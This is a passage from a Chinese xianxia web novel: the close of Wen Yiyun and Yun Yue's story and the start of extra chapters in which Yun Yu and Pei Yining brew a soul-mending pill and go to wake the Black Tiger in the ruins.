云樾似笑非笑地:“本体?” 问亦云抿唇:“不能就算了。” 云樾偏过头:“一炷香的时间。” 话音刚落,一团椭圆形的球体出现在她怀,懒洋洋地抱住她的手,捂住唇打了个哈欠,与云樾平日冷淡的模样判若两物。 知道什么能提,什么不能提。 借着云樾是本体,提一些不好的要求,等对方恢复成人形,是会与她清算的。 她将樾小刺猬放在脸边:“亲我一口。” 樾小刺猬:“不要。” 问亦云:“就一下。” 樾小刺猬:“笨笨,不要亲你。” 樾小刺猬的爪子拍在问亦云的脸上,眉宇间拢起一座小山,恶狠狠地揪住问亦云的衣衫:“笨笨,别以为这样就可以骗亲亲了。” “贴贴。”樾小刺猬没能硬气多久,本性让她喜欢黏着人。 问亦云:“贴贴。”她感慨,“要是能一直这个样子就好了。” 樾小刺猬拉着她的手,一遍遍地贴抱:“但你是坏人。” 问亦云被逗笑:“嗯,我是坏人。那你喜不喜欢我。” 樾小刺猬从她怀中跳下,灵光闪动间,一道颀长的身形重新出现。 云樾不着痕迹地擦过手背:“不要问这种似是而非的问题。”她转身,“本体你见了,这几日,仍旧用人形交流。” 问亦云眼底闪着笑意:“好。” 这七日,她同云樾做了许多事,雕刻,观景,一同阅读,谈天说地地闲聊。将以前想过却不得做的事做了一通。 这七日,亦是她这十多年来最开心的七日。 不用绞尽脑汁地吸引云樾的注意。 她们亲密无间,默契十足,往往一个眼神就知道对方在想什么。 就连问玉宫的人都时常见到两人手牵手,并肩而行。 个个心觉好事将近。 问玉宫内一片喜气洋洋。 可只有两位当事人知晓,这一切不过是假象。 短暂的时光总是快得让人抓不住。 最后那夜,两人相拥躺在床上,问亦云缩在云樾怀中,手臂顺着云樾的腰线滑动。 她们都知道,幻梦即将结束。 “我曾在问玉宫藏书阁的一本古籍中见到有关时间元素的记载,”问亦云回忆书中内容,“据说可以逆转时间。若世间真有这么神奇的元素……” 该有多好。 她便能回到过去改变一切,将这七日的相处,变成她和云樾的日常。 云樾指尖点在问亦云的腰间。 …… 天际泛起鱼肚白,光亮透过缝隙钻入殿内。 云樾和问亦云同时看往窗外。 云樾温和地将问亦云的头按在心口:“我抱你去洗洗。” 问亦云喃喃:“洗慢一点。” 再慢也阻止不了温热的水冷却。 问亦云单膝跪在床上,支着酸软的身体为云樾整理着装。 两人一前一后,静默地前往问玉宫的正门处。 七日间的亲昵犹如一场梦。 巨大的白玉门前,凹槽处的灵珠散发着耀眼的光芒,各色元素之力交织缠绕。问亦云站在门前,像是送走云榆和裴依宁那日般,打开这扇闭合的门。 白茫茫的外景,一座座阵法朦胧可见。 只需踏出,就能被阵法传送离开。 问亦云取出一枚戒指,一枚很普通的戒指,上方只刻着一个“云”字:“出门在外,身上总要带点东西,里面有你需要的一切。” 她又取出一枚白玉玉佩,递过去:“这里有我的一道灵识,放心,除非你主动驱使,不然这道灵识不会监控你的去向。若是哪日,你想回来看看,随时可以将灵力注入其中。” 见云樾没动,她牵强地扯了下唇角:“这是我的一点心意。”她开玩笑道,“当然,我希望你可以回来看看我。好歹也算有十几年的情份呢。” 云樾释怀一笑,即将到来的自由让她心情极好:“也是,毕竟十几年的情份,路过的话,兴许会来看看。” 她接过那枚戒指和玉佩:“我收下了。” “云樾,”问亦云迟疑地:“我能再问你一个问题吗?” 云樾:“什么?” 问亦云说:“那年冬日,你说来年开春有话对我说,我能知道是什么话吗?” 云樾唇边的弧度凝下,视线移向别处:“我喜欢你,你愿意和我在一起吗?” 果然,是她亲手断送了所有。 问亦云苦笑:“让你失望了。” 云樾摇摇头:“都过去了。” 问亦云:“你现在还喜欢我吗?” 云樾看她。 问亦云:“我还有机会吗?” 作者有话说: 她们的结局,我犹豫了很久,好像停在这里是最好的。 后面是星星和师姐的番外 本章掉落小红包 第114章 星星和师姐(一)[番外] 因着上次执法堂将三大峰阁大肆考核的事情捅到宗主面前, 导致明越宗各个峰阁在未来的一年,无论是正式的例行考核还是普通小考,皆是被取消。 整个宗门陷入前所未有的轻松中。 而为此做出贡献的杜寻雁这些天收获了许多各个峰阁师姐妹们赠送的感谢礼。 “哎,执法堂本就应该秉公执法, 我身为执法堂这届的负责人之一, 这都是我应该做的,师姐妹们太客气了。”杜寻雁笑嘻嘻地和来来往往的人拱手道谢, 客套话一串一串的, “都是小事,不用放在心上。我的义务就是为师姐妹们服务。” “既然是各位的心意, 寻雁就收下了。她日有用得上寻雁的地方,尽管开口。” 站在她身后准备搬运这些东西的云榆抿着唇, 低着头,笑得两肩抖动不止。 杜师姐这也太假了,表面上一口一个不好意思,客气了,暗地里一早传音给她们, 让她们过来分类搬运到剑法阁的储藏室。 “还愣着做什么?赶紧搬啊, ”等师姐妹们走完了, 杜寻雁眼冒金星地搓搓手, “不错不错, 这回赚大了, 器物,符纸, 丹药, 都分类放好。” 云榆:“杜师姐,你这么大张旗鼓地收礼物, 不怕被人捅到宗主那?” 杜寻雁翻了个白眼,不在意地摆摆手:“谁会捅过去,一个愿打一个愿挨,她们不用考核了,高兴还来不及,怎么会去宗主那说。至于裴师姐她们,就更不可能了。” 云榆似懂非懂地点点头,和一众同门将其分门别类放入空间储物中,随后送到储藏室。 做完这一切,正是日头高照,云榆抹了把脸上并不存在的汗水,传音给裴依宁。 【师姐,忙好了吗?】云榆。 前两日,藏书阁的弟子在整理书架时,无意中从一本药典古籍中翻到一张土黄色的纸片。 上面文字保存完好,从纸张用料来看,年代久远,发现的人不敢耽误,第一时间送到了灵丹堂。 这件事很快被纳兰然告知了裴依宁,而裴依宁在拿到丹方,仔细看了遍后,便是直接让人按照丹方上的内容准备药材,开始炼制。 一连两日裴依宁都泡在炼丹室内,可见这次炼制的丹药难度并不低。 云榆没有打扰,直到今日早晨,裴依宁传音告诉她:【快要完成了,午时来灵丹堂。】 如今时间已到,保险起见,云榆在去之前给裴依宁传了个音。 【刚结束,正要传音跟你说。】裴依宁温润的声音荡在云榆的灵识内。县住福 云榆忍不住弯下唇,急于和师姐相见的人直接御剑而行,直冲灵丹堂。 她和裴依宁是道侣的关系人尽皆知,畅通无阻,直抵灵丹堂的主殿前的空地,云榆从剑身上跳下。 “云师妹,”浅绿色的身影飘到身前,纳兰然含着笑地,“来找裴师姐的吧,杜师姐在你之前来找她了,现在两人正在偏殿内。” 云榆眨巴眼睛,杜师姐怎么比她来得还快,难道比她先一步知道师姐炼制完丹药出来了? 似是看出她的疑惑,纳兰然道:“杜师姐比你早来一炷香,听闻丹药快要炼制完毕,就一直等在了这。” 纳兰然边说边领着云榆进入殿内,拐入偏殿。 偏殿的门半开着,里面的谈话声清清楚楚地传出。 “裴师姐,这不得了些好东西,想着你可能喜欢,就给你送来了。眼下没别的事,师妹我就先走了。” 杜寻雁谄媚的话语字字入了云榆的耳,她扶额无语,只觉无奈。 余光一瞥,身旁的纳兰师姐唇边亦是噙着无可奈何。 两人相视而笑。 为了避免杜师姐看见她尴尬,云榆贴心地转过身,掩耳盗铃地朝着正殿走了几步,而后再转过身,佯装刚到的模样。 此刻杜寻雁正从偏殿内而出。 云榆故作惊讶:“杜师姐?你怎么……” 杜寻雁“昂”了声,脸不红心不跳地,“我来裴师姐送礼,以免她举报到宗主那。” 云榆:“……” 杜师姐,你能不能不要这么实诚。而且之前是谁说,裴师姐她们更不可能和宗主说的,结果你转头就跑来贿赂上了。 “我还要去趟器物堂和阵灵阁。”杜寻雁嘀咕了声,“不知道今日收到的茶叶,得不得原师姐喜欢。” 云榆:“……” 杜寻雁瞧见她无语的样子,眼睛一亮,扒住侧殿门,扯住云榆露过去:“裴师姐,我把云师妹给你送来了。” 被扯得踉跄,还没反应过来的云榆:“……” 纳兰然偏过头,不忍去看。 裴依宁把玩着杜寻雁送来的两样小东西,顺手放入空间储物中。 她迈步过去,皙白的指按在杜寻雁的掌上,向外一扔,轻柔地护住云榆,将其带到身后,笑意不达眼底:“多谢杜师妹送的,我很喜欢。” 云榆抬起眸子。 杜寻雁嘻嘻哈哈地告辞,拉着纳兰然就走。 侧殿门被关闭,云榆揉了揉方才被杜师姐抓过的地方:“杜师姐手劲真不小。”她好奇地,“师姐,那丹长什么样。” 她丝毫不担心丹药有炼制失败的可能。 裴依宁长指点了下,空气震荡,一方泛着莹莹微光的白玉瓷瓶凭空显现,浮现在两人身前。 女人曲指勾动,瓷瓶自觉飞到女人手中。 裴依宁将瓶塞打开,倒出那粒丹药。 丹药表面覆盖一层裂纹,内里似有青绿色的液体流动,闪烁着点点生命力。这些裂纹汇聚到一点,是更为纯粹的一点绿色。 云榆惊奇地望着这枚丹药,试探性地伸出手。 裴依宁将丹药滑入她的掌心:“这丹药兴许能救治黑虎前辈。” 云榆不由自主地睁大了眼睛:“真……真的吗?” 裴依宁颔首:“这丹药能修补残魂,虽不能立刻让黑虎前辈恢复如初,但让她醒来,应当是没有问题的。”她小幅度的晃动药瓶,“我炼制了两枚,先看看效果,再做后续的决定。” 云榆虽不曾说过,但到底记挂着遗迹内的黑虎和遗迹外的一白二白。 那两只被小刺猬收为小跟班的白毛小刺猬。 裴依宁晃动的手一顿,扫了眼面前惊喜溢于言表的小妖。 不轻不重地:“还有一白二白。” 云榆接道:“对,我得给她们带点吃食过去。也不知道这么长时间,那两只小刺猬修为如何了。” 掌心的丹药被人拿走,云榆不解地看过去,只见拔下的瓶塞被塞了回去,那丹药也被一并放了回去。 以为师姐是不想药效流失,云榆没有所想,眼巴巴地凑过去,下巴怼在师姐的小臂上,侧脸歪头,双目无辜地转动。 纯真懵懂的让人生不出气来。 “师姐,”云榆点点往师姐怀中挤,她们身后不远处就是墙壁,她步步紧逼,裴依宁不得不往后退,直到腰身与墙面亲密接触,退无可退,“这两日炼丹途中,有想我吗?” 云榆故意眨动眼睛,她清楚自己的优势,明白师姐吃的点是什么。 结为道侣后,她在裴依宁面前越发放肆。 她轻轻地覆住师姐的手背,取过那只白玉瓷瓶,小心地抽身放好,旋即跟个小弹簧似地弹回原位,脑袋撞到师姐的额头。 她瘪嘴:“师姐,疼的。” 分明只是轻微的触碰,相互力下,裴依宁知晓这只小妖在装可怜。 可那双水汪汪的眼睛,活像是被欺负了的小表情着实让她心软,说不出半句不好。 她哄:“师姐给你揉揉。” 云榆:“不要,我要师姐吹吹。” 裴依宁轻笑,扶住她的脑袋,探头吹过。 得逞的人嬉笑,扎入裴依宁怀中,膝盖挤进两条腿间,不紧不慢地绕着圈,警惕地回头望了眼闭合的殿门。 “师姐,这间偏殿,平日有人来吗?”云榆问。 裴依宁不着痕迹地侧回头,忽而感觉有些口渴了,她的两条手臂自然垂落在身旁两侧,眸色因被光亮遮住,幽深而暗沉。 女人向下滑动些许,小妖的影子落在她的头顶,那条卡住她的腿老实起来,却也因位置关系,让裴依宁不便从左右离开。 云榆:“师姐,你在紧张什么。”她坏心思地将手臂怼在师姐脖颈两边,犹如禁锢般,更是无法逃脱,“这间偏殿,平日里会有人来吗?” 小妖的本性,越发显露,原先本体时的肆无忌惮传染到了这只小妖的人形。 放肆到尊重师姐这件事都做不到了。 只对她如此。 裴依宁:“有时会有人来。” 云榆浅笑,一瞬不瞬地望着师姐数秒,她双掌一撑墙壁,身体后仰,那条腿顺势收回:“这样啊。” 她隐晦地点了下自己的唇角,拥住师姐:“这两日,我可想师姐了,师姐想我吗?” 她诉说自己的思念:“师姐不在,星星睡不着觉,整宿整宿的失眠,好可怜的。” 前面那点还算正常,后面的假的过于离谱。 裴依宁从方才的感觉中挣脱,玩味地重复:“整宿整宿的失眠,你?” 云榆一本正经地:“嗯,就是我这只可可怜怜,委委屈屈,无人疼,无人爱,缩成一团,还会被人踢上一脚的小刺猬。” 裴依宁:“杜寻雁来时说,昨夜还同你一起去吃烤肉,直至天明。” 云榆:“……杜师姐怎么什么都往外说,明明答应我不告诉你的。” 裴依宁点她的小脑袋瓜子:“所以,是因为想我睡不着,还是被烤肉香得睡不着。” 云榆从善如流:“当然是想师姐想的睡不着,只能和杜师姐去吃烤肉,转移注意力。” 小妖现在越来越能说会道了,裴依宁在想,要不要让小妖和杜师妹保持点距离。 杜师妹不仅教小妖剑法,如今将口舌功夫也一并传授给小妖了。 念想一闪而逝:“星星,你想什么时候去遗迹。” 云榆笑容收敛,垂眸深思。 她当然希望越快越好,但师姐炼制完丹药不久,需要休息。 左右就这两日。 权衡之下,云榆道:“明日出发,今日师姐休息休息,我伺候师姐休息。师姐可以尽情使唤我。” 她笑:“把我当成师姐的小跟班。” 裴依宁挑眉,有些出乎她的意料。 但她的确略有疲惫,拖着这样的精神状态去见黑虎前辈有失体统。 明日也好。 从偏殿内而出,正殿内有几名灵丹堂的师姐妹正在忙碌。 云榆恭敬地同几人招呼。 在外对待其她同门,她依旧保持原样,有礼的让人挑不出半点毛病。 出了正殿,念及灵丹堂内部不便御剑,云榆偷偷瞄了眼身旁人,摇身化回本体,娴熟地爬到裴依宁身上。显祝福 还没在女人身上呆两秒,小刺猬火箭似地蹦下来,在地上滚了两圈才停下。 她又变回人形。 裴依宁被她来回切换状态逗道:“在想什么坏点子?” 云榆幽怨地晃动身体,哼哼唧唧地:“我可没有,我是好刺猬。” 在下意识爬上师姐肩头的刹那,小刺猬想到师姐的疲惫,她舍不得让师姐更累。 她道:“师姐,你化成小小的,就跟在我老家那般,我捧着你走。” 裴依宁歪头:“嗯?” 云榆牵着裴依宁晃:“师姐,变么变么。” 裴依宁纵容地吐出一口气,四下无人,她的身体被一层灵力笼罩,肉眼可见的,光晕包裹着里面的人,在一点点缩小。 缩小到与小刺猬一般大。 “好可爱。”云榆忍不住心软软,小小的师姐差点要把她萌翻了。 怪不得人人都喜欢小小的东西,真的好可爱。 云榆理解为何当初她变成小刺猬时,那群同门眼底泛滥的软。 她双手几乎贴到地面,生怕说话声大,吓到这只小小的人:“师姐,上来。” 裴依宁翻上她的掌心,学着小刺猬惯常在她掌心的样子坐下,靠在云榆曲起的手指上。 云榆缓而慢地起身,捧着世间最珍贵的宝物,行走在灵丹堂的小路上。 馥郁的花香浮在空气中,又是一年春暖花开。 云榆拢起掌心,裴依宁的世界依旧充满光亮,只是周身全是云榆的气息。 清淡的气息。 云榆视线时刻观察掌心小人的变化,瞬间的满足几乎要将她吞没。 她与师姐亲密无间。 灵丹堂本就大,在云榆刻意放慢速度下,这段路程漫长无比。但一人一妖都不着急。 小小的人躺在,闭目睡去。 等小裴依宁再度醒来时,已过去大半个时辰,云榆正要推开裴依宁洞府的门。 “走了这么长时间吗?”裴依宁打趣她,“星星是用爬的吗?” 云榆用手肘拐开洞府的门,另只手拎起裴依宁的后颈,将小小的人提到眼前,她板住脸,去吓唬小人:“大胆,乱说什么呢?” 裴依宁手脚垂落,被拎得毫无脾气。 这小妖就是在等着这么对她呢。 裴依宁来来回回地晃悠,双腿勾住云榆的小臂,倒挂在小妖手臂上。 这也是学的小刺猬。 云榆提着攀附住她的人进入洞府,衣料不经意的移动中,与另一处摩挲。 裴依宁眉心跳动,不动声色地改变位置。但这个时候云榆走动的速度不慢,不利于她有所动作。 生生挨到云榆坐下。 小妖将她提到桌面上,双手叠放,下巴磕手背上,悠哉悠哉地:“睡醒了?” 她给自己倒了杯水,又给面前的小人倒了杯:“师姐,先不准变回来。我想看看这么小的你,是怎么喝水的。” 裴依宁拿她没办法,素来惯着这小妖,导致现在越来越无法无天。 女人扒住茶杯,往下按动。 茶杯倾倒,茶水溢出。 小人来不及喝,生生被呛了几下。 云榆眼神一变,慌忙将小人拿起,自责而心疼的顺小人的背。 “没事。”裴依宁咳嗽几声。 云榆内疚不已:“对不起,师姐。” 裴依宁踩在她的掌心,碰了碰云榆的唇角,她翻身而下,身形变大到原样。 女人擦了下唇边的茶水,呼出气:“不是什么大事。”她挑起眼帘,“你方才在偏殿内想要做什么,为何用问会不会有人来?” 心照不宣的事,裴依宁不会不知道。 揣着明白装糊涂罢了。 因为,她想这只小妖了。 心灵和身体都想。 云榆将溢出的茶水处理过,见裴依宁面上因呛到而染上的红晕消退,她长腿伸出,恰恰好好从裴依宁两条腿间穿过。 她曲膝:“因为……” 她停顿住。 一切尽在不言中。 不知怎么的,云榆的念头有一瞬间的游离,视线不自然地看向外面。 她发现,她和师姐大部分时候都是在白日。 夜晚才应该是主场才对。 她怎么突然想到这些了。 云榆被自己的想法逗笑了。 裴依宁扬眉:“想到了什么,笑得这么开心。” 云榆指了指外面。 透过半开的木窗,外景一览无余。无需多言,默契让她知道云榆所说的是什么。 裴依宁也笑了:“那要等到晚上吗?” 云榆笑着说:“或许可以……一直到晚上。” 斜阳渐下,将天地人晕染成相同的绯红,延伸出无穷无尽的红意,顺着天幕降下大地。 在霞光中,一道芒直冲而过,突如其来到措手不及,红霞剧烈震动,伴随着夕阳普照的,愈加的红和柔。 云榆靠在窗边:“师姐,你看外面,”她触手可及晚霞,“远处的天与地好像连成了一片,都是红色的。” “师姐也是红色的。” 裴依宁下颌绷着,无暇顾及外面的景象,素来极具耐心的人,带着淡淡的心急和难以启齿的困顿:“星星。” 云榆抚摸着,陷入沉沦的美景中:“师姐,你喜欢星星,还是喜欢此刻的晚霞。如你一般的晚霞。” 裴依宁心跟着颤了颤:“星星……” 在日与夜的交替中,密集的繁星占据,晚霞被星星穿透。 星星被晚霞包裹。 雨水也想凑个热闹,降下一场和煦轻缓的小雨。 雨缠绵连续,星星不畏惧雨水。 可裴依宁畏惧。 云榆不紧不慢地,合在师姐耳边,空闲的手卡住师姐的下巴:“师姐,天黑了。” 裴依宁混沌的思绪让她做不出更多的回答,连续两日的炼丹,耗费无尽的精力。 云榆用另一种方式安抚师姐,却也将裴依宁带入到另一场困倦中。 云榆在那处粗糙的点,抹复挑,她轻轻地摁住师姐的肩膀,念动间,木窗“啪”地一声闭合。 也震碎了裴依宁紧绷的神经,挺直的脊背变得松松垮垮。她靠在身后人怀中,凝视前方的一点:“星星。” 云榆环抱住她,将遗失的安全感尽数给足:“我在的,师姐,我在的。” 夜色昏沉,洞府内用来照明的灵珠并未开启,在微末的光亮中,隐约可见模糊的轮廓线。 物体的轮廓线,人的轮廓线。 静谧美好到让人不忍出声打破。 裴依宁闭目舒缓,修长的手指有一下没一下地点在云榆的手腕处,凸起的腕骨让女人流连忘返。 她顺着云榆的手摸去,在食指和中指处摸到湿润的黏,自然而干后,不舍离去地贴着肌肤。 裴依宁白皙的面容缀上绯红,灵力涌动间,给小妖使用了个净身术。 那份黏褪去。 云榆动了下,揉动裴依宁的腿,体贴地:“是不是很酸,是这里吗?” 裴依宁:“嗯。” 云榆耐心地揉捏,谁也没提要将灵珠打开,就在这沉沉的夜色中,木窗再度被打开。 借助星星的亮光,足以视物。 为师姐梳洗完毕后,云榆抱着师姐上床休息,劳累了两日的身体,只是在回来的路上睡那会时间定然是不够的。 裴依宁突然道:“星星,明日给一白二白的东西想好了吗?” 云榆:“想好了,除了吃的,还有一些修炼之物,对她们日后有帮助。” “嗯,的确要准备这些,”裴依宁似在确定,忽而道,“你只有我这一个跟班吗?” 云榆:“嗯,怎么突然问这个?” 裴依宁似笑非笑。 云榆陡然间想起遗迹处发生的事,她当初差不多是当着裴依宁的面收下两只白毛小刺猬当小跟班的。 明日故地重游。 今夜师姐这是在同她旧事重提。 云榆心思百转千回,大脑极速运转:“不一样。” 裴依宁想听听她能说出什么来:“怎么不一样?” 云榆察言观色:“师姐是我收的第一个小跟班,含金量自是要比后面的高许多。” 裴依宁要的答案并不是这个:“是吗?” 平淡的话语莫名让云榆察觉到危险,她立刻道:“是的。” “不止于此,师姐是我想相伴一生的人。” 作者有话说: 第115章 星星和师姐(二)[番外] 第二日一早, 趁着裴依宁前往灵丹堂处理事物的功夫,云榆溜到膳食堂。 她一早打听过,纳兰师姐每日这个点都会过来一趟。有纳兰师姐在,她会顺利很多。 蹲守了半柱香的时间, 云榆瞧见那道浅绿色的身影, 她隔着一段距离小跑过去,停在纳兰然身前一米处, 恭敬地拱手:“纳兰师姐, 早啊。” 纳兰然一路看着她跑过去,原以为是裴师姐在她身后, 几度回头,离得近了, 方才确定云师妹的目标是她。 她顿步:“云师妹,”停下片刻,看了眼不远处的建筑,恍然想到许久前裴师姐对膳食堂的关照,以及那夜在膳食堂内被抓住的小刺猬, 她隐约猜到, “云师妹要与我一同吃点吗?” 云榆自是应下:“好。” 两人一前一后, 中间隔着半个身位。 云榆道:“不瞒纳兰师姐, 我还有一事相求。” 纳兰然:“云师妹但说无妨。” 云榆有些不好意思开口, 做足心理建设道:“如果可以的话, 我想从膳食堂内取一部分食材。” 算不得什么大事,纳兰然自可以做决定:“当然可以, 云师妹不必与我这般客气, 毕竟……我们很熟了。” 整个灵丹堂,除却裴依宁, 纳兰然是与云榆打交道最多的人。同时,因着几位好友的关系,她与剑法阁关系颇为亲密。 得到纳兰然的话,云榆顾虑少了许多,挑选了数株药株塞入空间储物,到时给一白二白补身体用。 又端了两锅药膳,用灵力封存。 纳兰然好奇地:“不拿点别的吗?”陷驻负 只是这点东西,云师妹未免过于客气了。 云榆满意的内视空间储物,加上家妖给的食物,以及这段时间她或多或少特意储藏的一些,足够一白二白很长一段时间不愁食物。 “够啦,多谢纳兰师姐,”云榆拱手,“师妹告辞。” 从膳食堂出来,云榆又溜到器物堂,从器物堂那弄到些趁手的武器,再转去剑法阁寻了些功法,最后,她停留在阵灵阁的峰阁前,踌躇不前。 她在阵灵阁并无认识的人,只和那位白师姐有过几面之缘。 犹豫半晌,云榆选择放弃,转头从杜寻雁那捞了几张符纸,赶在杜师姐揪住她之前,如同滑溜的小泥鳅,从对方手下逃脱。 满载而归,云榆心情不错地回到裴依宁的洞府,清点今日的收获,分门别类,思考哪些适合一白,哪些适合二白。 她不清楚两只白毛刺猬修炼的是什么,只能从短暂的相处中猜测一二 她清点的过于认真,以至于洞府石门被打开,颀长的身形落在她身后都不曾发觉,口中嘟嘟囔囔地:“一白沉稳,二白活跃……” 裴依宁倾听云榆细小的声音,在听见一白二白的名字后,她俯下身,手搭在云榆的肩膀:“然后呢?” 被她突如其来的举动吓到,云榆犹如惊弓之鸟,猛地缩起身子。 待反应过来,她挂上苦瓜脸,故作不满地:“师姐学坏了,故意吓我。” 裴依宁侧身坐在她身旁,端起温凉的茶水抿了口,神情淡然:“是你太专注了。”她睨了眼满是心虚的小妖,“去给一白二白准备了别的?” 云榆将今日的轨迹说了遍,总结道:“她们初入修炼,无人引导,不知情况如何。总要多准备一些,以防万一,”她凑近裴依宁,下巴尖磕到女人的手臂,“不像我,我很幸运的有很多师姐教。” 裴依宁抬起手臂,掌心摊开,云榆自然而然地转移阵地,挪动师姐掌上。 下巴被很轻地挠动,云榆莫名生出一种师姐在逗弄她的错觉。 师姐这是把她当成宠物了吗? 云榆蹙眉,口中含着气,脸颊两侧鼓鼓的。就在这时,另只手卡在她的脸颊上,挤动,含着的气泄出。 云榆:“……” 裴依宁面不改色:“起来了,我们该出发了。” 云榆盯着师姐的表情,想从中看出什么,可她的道行太浅,最后只能垂头丧气地跟上师姐的步伐。 裴依宁弯唇。 经由传送阵,一人一妖很快出现在那座遗迹附近。 因着先前坍塌的缘故,这处地界破败不堪,到处是碎石残垣,却也因少有人来,周围植被郁郁葱葱一片。 云榆化成小刺猬,趴在地上嗅闻两只白毛刺猬的气息,她边走边嗅,小小的眉头越拢越紧。 怎么感知不到一白二白的气息,莫不是两只白毛刺猬离开这里了。 又或者是…… 小刺猬重重摇头,将这个想法移出。 不可能的,一白二白不可能出事。 裴依宁蹲下身,灵识将整片地界包围搜索,不忘安抚小刺猬:“别急,说不定是有事出去了。” 话音刚落,地底的泥土轻微耸动,坍陷一块,探出两只差不多的小脑袋,她们扒在坍陷的洞沿边,四处张望。 裴依宁的灵识顷刻间露出的两只生物锁定。 小刺猬听见声响,下意识扭头。 “老大,”二白惊喜地叫了声,甩甩身上沾到的泥土,闪身出洞穴内钻出,几个健步蹿到小刺猬前,爪臂张开,将小刺猬锁在怀中,“真的是老大。” 一白略显沉稳,可眼底的激动不少。 小刺猬被她锁的呼吸不顺:“二白!” 一白拍拍二白的爪子,前者后知后觉地松开,懊恼地:“老大,看见你没控制住。” 裴依宁退到两米外,将相聚的氛围留足给三只小刺猬。 小刺猬和一白二白抱了抱:“我方才没嗅到你们的气息,以为你们离开了。”她庆幸,“还以为遇不见你们了。” 一白解释道:“遗迹坍塌后的几日,陆陆续续有人过来,我和二白那时刚可以化形,不敢显露在人前,仍旧以本体躲藏在洞穴内修炼。” 她指了指延伸到无尽地下的洞穴,“后来无人再来,但我们习惯了住在深处,加之有黑虎前辈传承的灵气,很难被发现。” 二白认可地点点头:“就是就是,我们是在下面听见地上来人,心生好奇想来看看,然后我们就嗅到老大的气息了。” 二白越说越激动,作势又要抱小刺猬,被一白一把推开,没好气地道:“老大这么小,哪里受得了你的重量。” 小刺猬默默低头,她的本体在一众刺猬前小小的,一副发育不良的模样。 本体好难养啊。 她的人形看上就很健康。 对了,一白二白在接受到黑虎前辈的传承后,就可以化形了。 小刺猬道:“让我看看你们的人形。” 一白二白为难地对视一眼。 小刺猬:“怎么,在老大面前还害羞啊?” 一白道:“老大,我们维持不了多久人形。今日已经化过形了,暂时化不了。” 她们没有那么多的灵力支撑人形的长久。 小刺猬记起为她们带来的东西,从空间储物中摸出两只类似于手镯的圈环。 这是师姐给她的。 小刺猬不由自主地看向裴依宁,后者眉目温柔,双眼含笑地对她对望。 小刺猬连忙收回视线,耳尖蔓上一层红意。 为什么感觉本体与师姐对视,也开始羞涩了。 都是师姐的原因,害得她道心不稳。 小刺猬心安理得地将缘由归结到裴依宁身上。 她注意力重新转向两只白毛小刺猬,在她们茫然不解的目光中,将手环带到她们的爪臂上,手环有灵性,可以自由更改大小:“这是一种空间储物,可以将东西放在里面随身携带,很方便。” 她细心地告诉两只白毛小刺猬该如何使用这样物件。 “好神奇。”二白欣喜地打量这只手环,爪子摸来摸去,满眼都是星光。 小刺猬傲娇地扬起脑袋:“也不看看你们老大是谁,身为我的小跟班,好东西多多。” 说到小跟班时,小刺猬余光扫到裴依宁,她主动介绍道:“那位也是我的小跟班,她是我的第一位小跟班。” 被点到的裴依宁眨了下眼,长而翘的睫毛颤动,投射下的一小团阴影在下眼睑处小幅度地游移。 在三位小跟班打完招呼后,小刺猬直奔主题:“本星星今日来,除却看你们外,还有一件很重要的事情,”她故意卖了个关子,停顿数秒,“本星星的大跟班,找到了唤醒黑虎前辈的方法!” 一白二白怔在原地。 小刺猬戳戳不言不语的两只白毛小刺猬:“你们……怎么没点反应。” 忽地, “啊!”二白爆发出尖锐的叫声,“啊啊啊啊啊啊啊,真的吗?真的吗?呜呜呜……” 小刺猬被陡然升起的音浪炸得脑袋疼,她捂住双耳,半垂下头,扯起嘴角。 二白胡乱地抹着眼睛,泪水糊得她满脸都是。 一白虽不如二白表现的明显,可眼眶中,亦是泪水涟涟。 “好啦好啦,”小刺猬安慰她们,“别叫啦,我们现在进遗迹,心态要平稳,能不能学学本星星,处变不惊。” 二白被忽悠到:“二白记住了,老大好厉害。” 遗迹的进出口被堵住,但两只白毛小刺猬身为这里的原住民,自有别的方式进出。 裴依宁缩小到与小刺猬一般大小,跟着一白二白跳入她们的洞中,从挖出的一条暗道直通遗迹内部。 中途,小刺猬鬼鬼祟祟地:“师姐,你想不想骑小刺猬?” 裴依宁:“嗯?” 小刺猬趴下身:“上来吧,大跟班专属服务。” 裴依宁笑了笑,爬上小刺猬的脊背,柔顺的刺贴合脊背,并不会扎到她。 等到她坐好,小刺猬昂首挺胸地往前跑,与白毛刺猬并肩而行。 二白注意到小刺猬身上的小人:“老大对我们真好。” 给她和一白手环,让这只小人坐在自己身上,她从前可没见过对待跟班这么好的妖。 小刺猬被夸得飘飘然,昂首挺胸:“那是,老大从不亏待你们。” 裴依宁拍拍小刺猬后背,身体往下滑了些。 七七八八拐了数个道,终于进入遗迹内部,小刺猬趴在地上,方便身上人下来。 裴依宁从小刺猬脊背滑落时,无意间瞧见小刺猬短小的尾巴,只一点点,很可爱地翘着。 女人盯着那点看了会,收回目光:“一白,你知道黑虎前辈在哪吗?” 相教之二白,一白明显靠谱许多。 一白道:“跟我来,小人。” 遗迹内很好,正欲变回原貌的裴依宁听得这声小人,生生止住了变回去的念想。 小人比大人听上去好听些。 穿过幽深的通道,拐到一处池边,池内并没有水,在池的底部,印着巨大的痕迹。 是黑虎的。 黑虎仅剩不多的残魂窝缩在此处,裴依宁单手撑着池边物体,翻身越入池内,小刺猬紧随其后。 “师姐,可看出什么?”小刺猬问。 裴依宁凭空取出那只白玉瓷瓶,微微颔首,挑开瓶塞,倒出一枚丹药。 残魂难以吞食,况且黑虎还在沉睡中,常规方法行不通,只能借助阵法,将黑虎唤醒,再与黑虎建立沟通。 她抽出数只符纸,取出一根半米长的,通体金色的灵棍:“可通过这个,让人远程替我们绘制阵法。” 说罢,她闭目传音于给她这根灵棍的主人。 “星星,”裴依宁拎起小刺猬,送到池边高台上,“你在这等着,不要靠得太近。” 小刺猬老实应下的同时,将跃跃欲试想下去的二白拦住。 裴依宁手握灵棍:“清凡,可以了。” 下一秒,一道灵光自棍内钻入裴依宁体内,女人身形微不可见地颤动。 那抹灵光顺着筋脉游走到女人的手腕,竟是夺走了女人对这条手臂的控制。 紧接着,小刺猬看见裴依宁不断移动的身形,根根灵线被勾勒出,逐渐凝结着阵法的形状。 小刺猬惊奇地望着这一幕。 这难道就是远程绘制阵法吗? 世间竟有如此神奇的事情。 那过往考核,可有人远程替别人参加考核。 小刺猬摇摇头,敢在各个峰阁师姐眼皮底下做这种小动作,怕是不要命了。 “咻”地声。 无数根灵线转动,阵法成型。 裴依宁身形倒退,退出阵法覆盖的覆盖。 小刺猬察觉到空气中的灵气被抽调一空,无数灵点汇集到阵法内。 一只庞大威武的黑虎缓而慢地出现在阵法内。 “是黑虎。”二白伸着爪子道,“老大,是黑虎。” 一白:“安静。” 二白:“哦……” 